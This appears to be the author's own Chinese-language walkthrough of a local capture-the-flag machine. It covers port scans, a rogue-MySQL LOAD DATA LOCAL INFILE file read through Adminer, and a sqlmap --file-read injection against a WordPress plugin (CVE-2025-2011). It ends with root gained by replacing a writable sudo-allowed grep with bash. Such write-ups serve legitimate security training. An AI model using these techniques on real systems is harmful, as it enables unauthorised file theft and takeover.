Initial Access#
└─# rustscan -a `IP` -- -sCV -Pn -n
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
TreadStone was here 🚀
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.56.62:22
Open 192.168.56.62:80
Open 192.168.56.62:3306
Open 192.168.56.62:8000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sCV -Pn -n" on ip 192.168.56.62
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-31 15:36 CST
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
Initiating ARP Ping Scan at 15:36
Scanning 192.168.56.62 [1 port]
Completed ARP Ping Scan at 15:36, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 15:36
Scanning 192.168.56.62 [4 ports]
Discovered open port 22/tcp on 192.168.56.62
Discovered open port 80/tcp on 192.168.56.62
Discovered open port 3306/tcp on 192.168.56.62
Discovered open port 8000/tcp on 192.168.56.62
Completed SYN Stealth Scan at 15:36, 0.03s elapsed (4 total ports)
Initiating Service scan at 15:36
Scanning 4 services on 192.168.56.62
Completed Service scan at 15:36, 12.46s elapsed (4 services on 1 host)
NSE: Script scanning 192.168.56.62.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 2.60s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.13s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
Nmap scan report for 192.168.56.62
Host is up, received arp-response (0.00074s latency).
Scanned at 2025-05-31 15:36:20 CST for 15s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
| 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
3306/tcp open mysql syn-ack ttl 64 MariaDB 10.3.23 or earlier (unauthorized)
8000/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-generator: WordPress 6.8.1
|_http-title: NeonGrid Solutions
MAC Address: 08:00:27:DD:A7:DA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:36
Completed NSE at 15:36, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.70 seconds
Raw packets sent: 5 (204B) | Rcvd: 5 (204B)
开放了 22,80,3306,8000 四个端⼝,80 和 8000 是 web,22 是 ssh,3306 是 Mysql
当然,其中 3306 端口虽然开放,但尝试连接后发现是个 “烟雾弹”,连接不上。
80 - web#
用 dirsearch 能扫出来
/info.php
/adminer.php
再用 gobuster 配上 medium 字典深入扫描,又挖出了一个
/reminder.php
reminder.php#
拿到一个用户名 jimmy
网页中间的图片地址为:http://192.168.56.62/that-place-where-i-put-that-thing-that-time/1b260614-3aff-11f0-ac81-000c2921b441.jpg
我们来到这个路径可以发现还有一个 creds 文件在/etc/jimmy.txt
结合上下文,这 jimmy.txt
很可能就藏着 jimmy
用户的密码!看来,我们的核心目标就是要想办法读取这个文件了。
另外,页面下方似乎还有个 SQL 注入。
不过,当你尝试多输入几个单引号可以发现,无论奇数偶数都报错,这可就不太符合常规了!一般情况单引号为奇数个才会报错,而偶数则不会,所以这是我留的兔子洞。
但话说回来,通过 SQL 注入读文件确实是个好思路,也许其他地方还有 “真” 注入点呢?
adminer.php#
接下来看看 /adminer.php
。
Adminer 是一个轻量级的数据库管理工具,通过它我们可以连接任意数据库。然而,这个 Adminer 是最新版本,没有已知的漏洞。在没有数据库凭据的情况下,我们暂时把它放到一边,毕竟 “巧妇难为无米之炊” 嘛。
8000 - web#
扫描 8000 端口发现⼀个域名,wordpress.local ,添加到 /etc/hosts 中再访问。
可以发现就是最新版本的 wordpress,没动什么手脚。
有一篇文章给了提示,这个提示其实就对应了两个利用方案。
mysqli.allow_local_infile = on
很有意思:
mysqli.allow_local_infile
是 PHP 中控制是否允许通过 LOAD DATA INFILE
语句从本地文件系统加载数据到 MySQL 数据库的配置。这意味着,如果我们能控制数据库连接,就可以利用这个特性读取靶机上的任意文件,然后写入到我们的数据库里!
思路清晰,立刻行动!我们可以在 Kali 攻击机上配置一个 MySQL 数据库,然后通过 Adminer 进行 “数据库劫持”,将靶机的文件 “搬运” 过来。
首先,编辑 Kali 的 MySQL 配置文件 /etc/mysql/mariadb.conf.d/50-server.cnf
,把 bind-address = 127.0.0.1
改为 bind-address = 0.0.0.0
,这样我们的数据库就能对外开放连接了。然后启动服务。
接着,在 Adminer 界面连接到我们 Kali 上的数据库,
然后执行以下 SQL 命令:
-- 创建用于存储数据的表
CREATE TABLE exploit (
data TEXT
);
-- 使用本地infile语法加载目标文件
LOAD DATA LOCAL INFILE '/etc/jimmy.txt' INTO TABLE exploit
FIELDS TERMINATED BY "\n";
-- 查询结果
select * from exploit;
即可拿到密码HandsomeHU
详细利用过程可以参考下这篇文章:https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f
当然,这里要 “剧透” 一下,最新版本 adminer 是不允许你这样操作的,这里能够成功是因为我修改了源码:$this->options(MYSQLI_OPT_LOCAL_INFILE,true)
上面是标准解法。为了降低难度,我还留了个后门 ——WordPress 插件存在 SQL 注入漏洞。
使用 wpscan 扫描可能会比较慢,但用 nuclei 很快出结果,还是非常好用的:
nuclei -u http://wordpress.local:8000
下载 CVE-2025-2011 POC,反复尝试发现没有用,这个 POC 是坏的。
└─$ python3 52285.py -u http://wordpress.local:8000
╔════════════════════════════════════════════════════════════════╗
║ CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder <3.6.2 ║
║ By datagoboom ║
╚════════════════════════════════════════════════════════════════╝
[*] Target URL: http://wordpress.local:8000
[+] Successfully connected to the target
[*] Checking if the target is vulnerable...
[-] Target does not appear to be vulnerable
[*] Try checking manually in your browser:
http://wordpress.local:8000/wp-admin/admin-ajax.php?s=test%' AND
EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=D
ESC&sources=&action=depicter-lead-index
[-] Exiting as target does not appear to be vulnerable
分析漏洞发现注入点是admin-ajax.php?s=test*&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index
于是 sqlmap ⼀把梭。
这里我本意没想让你 getshell,只需要利用 sql 注入读文件就好了
sqlmap -u 'http://wordpress.local:8000/wp-admin/admin-ajax.php?s=t*&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index' --batch --file-read=/etc/jimmy.txt
所以说,条条大路通罗马。当然,如果你能读到 wp-config
文件,拿到数据库密码,再通过 Adminer 连上数据库,修改 WordPress 管理员密码进后台,那也是一条康庄大道:)
Privilege Escalation#
jimmy#
ssh 登录 jimmy 用户。你会发现环境变量被动了手脚,导致许多命令都无法直接执行,不过这倒难不倒我们,用绝对路径执行命令就能绕过。解决方法也很多,比如自己 export PATH
,或者直接删掉 .bashrc
里被修改的那一行,甚至直接删掉 .bashrc
也行。
本地有两个用户:adminer 和 jimmy
在 wp-config 文件中找到 adminer 用户密码,当然还有 mysql 数据库的密码。
这里有趣的地方是,wordpress 的 adminer 用户和系统的 adminer 用户密码是复用的。
adminer#
adminer 可以无密码执行 /usr/bin/grep
su adminer
adminer@Ximai:/var/www/wordpress$ sudo -l
Matching Defaults entries for adminer on Ximai:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User adminer may run the following commands on Ximai:
(ALL) NOPASSWD: /usr/bin/grep
adminer@Ximai:/var/www/wordpress$ sudo /usr/bin/grep ' ' /root/root.txt
sorry, you are restricted from using this command.try egrep instead.
这个 grep 显然是被动手脚了:
jimmy@Ximai:/var/www/wordpress$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp:/snap/bin
jimmy@Ximai:/var/www/wordpress$ file /usr/bin/grep
/usr/bin/grep: ASCII text
jimmy@Ximai:/var/www/wordpress$ ls -l /usr/bin/grep
-rwxr-xrwx 1 root root 76 May 28 09:06 /usr/bin/grep
jimmy@Ximai:/var/www/wordpress$ cat /usr/bin/grep
echo 'sorry, you are restricted from using this command.try egrep instead.'
jimmy@Ximai:/var/www/wordpress$
发现有写权限,那就好办了,cp /bin/bash /usr/bin/grep
覆盖它即可。
结语#
这个靶机总体难度我觉得算是 easy to medium。Web 部分我留了两个与数据库 / SQL 相关的入口,难度都不大。当然,靶机里冗余的东西确实不少,需要你细心枚举,多一些耐心来 “沙里淘金”。
提权部分则相对简单,主要考查的是细心程度。大概就是这样,希望我出的靶机能让你有所收获,也欢迎大家在评论区交流心得!